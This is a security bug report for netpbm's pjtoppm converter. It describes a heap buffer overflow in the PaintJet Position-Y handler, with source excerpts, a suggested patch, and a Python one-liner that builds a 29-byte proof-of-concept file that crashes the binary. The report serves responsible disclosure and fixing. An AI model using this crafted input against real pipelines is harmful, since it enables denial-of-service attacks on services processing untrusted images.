Package: netpbm
Version: 2:11.13.03+ds-2
Severity: High
Tags: security patch

Dear Maintainer,

pjtoppm (/usr/bin/pjtoppm) contains a heap-based buffer overflow
(CWE-122 / CWE-787) reachable from a single untrusted input file, with no
authentication or user interaction. The stock shipped binary crashes
with SIGSEGV; AddressSanitizer confirms an out-of-bounds heap write.

Root cause
----------
pjtoppm keeps two heap arrays, image (unsigned char **) and imlen (int *),
sized rowsX * planes entries and grown with REALLOCARRAY as raster rows
arrive (converter/ppm/pjtoppm.c:274-275). The PaintJet "Position Y" order
(ESC * p <n> Y) sets the current row to an attacker-supplied value and
zero-initialises every intermediate row WITHOUT checking that value
against the allocated row count rowsX:

  case 'Y':
      if (buffer[0] == '+') val = row + val;
      if (buffer[0] == '-') val = row - val;
      for (; val > row; ++row)
          for (plane = 0; plane < 3; ++plane) {
              imlen[row * planes + plane] = 0;       /* line 321: OOB write
*/
              image[row * planes + plane] = NULL;    /* line 322: OOB write
*/
          }
      row = val;

'val' is fully attacker-controlled. When val > rowsX, every write past
rowsX*planes is out of bounds, and the out-of-bounds extent is
attacker-controlled (proportional to val). The 'V'/'W' raster path is
hardened (uintProduct() overflow check and the row > UINT_MAX/planes-100
guard at line 295) but this Position path has no equivalent check.

Proof of concept
----------------
A 29-byte file:

  python3 -c '
  ESC = b"\033"
  out  = ESC + b"*b1M"                # transmission mode 1
  out += ESC + b"*r100S"              # raster width = 100
  out += ESC + b"*b2W" + b"\xff\xff"  # alloc image/imlen for
rowsX(100)*planes(3); row -> 1
  out += ESC + b"*p100000Y"           # Position Y = 100000 -> OOB writes
past the 300-entry arrays
  open("poc_pjtoppm.pj","wb").write(out)'

  $ pjtoppm poc_pjtoppm.pj > /dev/null
  Segmentation fault          (exit 139 / SIGSEGV)

Under AddressSanitizer:

  ==ERROR: AddressSanitizer: heap-buffer-overflow
  WRITE of size 4 at 0x... thread T0
      #0 main converter/ppm/pjtoppm.c:321
  0x... is located 0 bytes after 1200-byte region   (100 rows * 3 planes *
4 bytes)
  allocated by reallocProduct mallocvar.h:101 <- main pjtoppm.c:275
  SUMMARY: AddressSanitizer: heap-buffer-overflow
converter/ppm/pjtoppm.c:321 in main

Impact
------
Unauthenticated heap out-of-bounds write triggered by a single malicious
PaintJet file. Any service/pipeline that runs pjtoppm on untrusted input
is affected. The overflow is on the heap, so stack canaries and
_FORTIFY_SOURCE do not mitigate it; DoS against the stock binary is
confirmed. The out-of-bounds extent is attacker-controlled, though the
written value is constrained to 0/NULL.

Suggested fix
-------------
Bound the Position target against rowsX (or grow the arrays to fit, like
the V/W path) before the zero-initialisation loop, and reject negative
val after the +/- adjustment:

  case 'Y':
      if (buffer[0] == '+') val = row + val;
      if (buffer[0] == '-') val = row - val;
      if (val < 0)
          pm_error("invalid Y position");
      while ((unsigned)val > rowsX) {
          overflow_add(rowsX, 100);
          rowsX += 100;
          REALLOCARRAY(image, uintProduct(rowsX, planes));
          REALLOCARRAY(imlen, uintProduct(rowsX, planes));
          if (image == NULL || imlen == NULL)
              pm_error("out of memory");
      }
      for (; val > row; ++row)
          for (plane = 0; plane < 3; ++plane) {
              imlen[row * planes + plane] = 0;
              image[row * planes + plane] = NULL;
          }
      row = val;
      break;

Notes
-----
The bug is present and reproducible in the current shipped version
2:11.13.03+ds-2.
I am happy to help validate a fix and to coordinate CVE assignment.

Regards,
Maram Sai Harsha Vardhan Reddy
Security Researcher
[email protected]

Attachment: make_poc.py
Description: Binary data

Attachment: poc_pjtoppm.pj
Description: Binary data

Reply via email to